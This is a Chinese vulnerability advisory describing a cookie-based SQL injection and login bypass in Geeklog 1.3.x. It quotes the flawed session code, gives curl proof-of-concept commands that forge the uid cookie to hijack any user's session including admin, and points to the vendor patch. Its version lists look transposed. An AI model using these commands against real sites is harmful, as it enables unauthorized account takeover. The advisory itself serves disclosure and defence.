安全研究
安全漏洞
Geeklog用户验证Cookie SQL注入漏洞
发布日期:2003-05-29
更新日期:2003-06-16
受影响系统:
Geeklog geeklog 1.3.7 sr1不受影响系统:
Geeklog geeklog 1.3.7
Geeklog geeklog 1.3.5 sr2
Geeklog geeklog 1.3.5 sr1
Geeklog geeklog 1.3.5
Geeklog geeklog 1.3
Geeklog geeklog 1.3.7 sr2描述:
BUGTRAQ ID: 7742
Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。
Geeklog由于没有充分检查用户提交的Cookie值,远程攻击者可以利用这个漏洞通过注入SQL代码破坏GEEKLOG系统,或对数据库进行攻击。
lib-sessions.php包含如下代码:
if (isset($HTTP_COOKIE_VARS[$_CONF['cookie_name']])) {
// 会话COOKIE不存在但有一个永久COOKIE.
// 开始一个新会话COOKIE;
if ($_SESS_VERBOSE) {
COM_errorLog('perm cookie found from lib-common.php',1);
}
$userid = $HTTP_COOKIE_VARS[$_CONF['cookie_name']];
$cookie_password = $HTTP_COOKIE_VARS[$_CONF['cookie_password']];
//echo $userid;
$userpass = DB_getItem($_TABLES['users'],'passwd',"uid = $userid");
if ($cookie_password <> $userpass) {
// 用户可以修改COOKIE中的UID
} else {
if ($userid) {
$user_logged_in = 1;
//echo $userid;
// Create new session and write cookie
$sessid = SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']);
SESS_setSessionCookie($sessid, $_CONF['session_cookie_timeout'], $_CONF['cookie_session'], $_CONF['cookie_path'], $_CONF['cookiedomain'], $_CONF['cookiesecure']);
$userdata = SESS_getUserDataFromId($userid);
$_USER = $userdata;
}
}
}
DB_getItem($_TABLES['users'],'passwd',"uid = $userid"); 会执行"SELECT passwd from $_TABLES['users'] where uid=$userid",当我们提供不存在用户通过($cookie_password <> $userpass)传递,可导致 $userpass和$cookie_password为NULL,如
curl -b geeklog=9999 http://blablaba/users.php
SESS_newSession($userid, $REMOTE_ADDR, $_CONF['session_cookie_timeout'], $_CONF['cookie_ip']); 就执行如下SQL命令:
"INSERT INTO {$_TABLES['sessions']} (sess_id, md5_sess_id, uid, start_time, remote_ip) VALUES ($sessid, '$md5_sessid', 9999, $currtime, '$remote_ip')"
这样USER 9999的合法会话就插入到数据库中了。
另外攻击者如果提供浮点数作为userid,用户可以以任意geeklog用户登录。由于userid在数据库是整数值,提供浮点数就可以使$userpass为NULL值。
<*来源:pokleyzz (pokleyzz@scan-associates.net)
链接:http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0092.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
curl -b geeklog=2.1 -D header.txt http://blablaba/users.php
其中header.txt包含如下内容,需要包含admin的合法会话:
----------------header.txt -------------------------
HTTP/1.1 200 OK
Date: Sat, 17 May 2003 16:15:23 GMT
Server: Apache
Set-Cookie: gl_session=1828197392; path=/
Set-Cookie: LastVisit=1053188123; expires=Sun, 16-May-2004 16:15:23 GMT;
path=/
Set-Cookie: LastVisitTemp=deleted; expires=Fri, 17-May-2002 16:15:22
GMT; path=/; domain=http://blablabla/
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
10
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
----------------header.txt --------------------------
建议:
厂商补丁:
Geeklog
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Geeklog Upgrade Geeklog 1.3.7 sr2
http://www.geeklog.net/filemgmt/visit.php?lid=157
浏览次数:3120
严重程度:0(网友投票)
绿盟科技给您安全的保障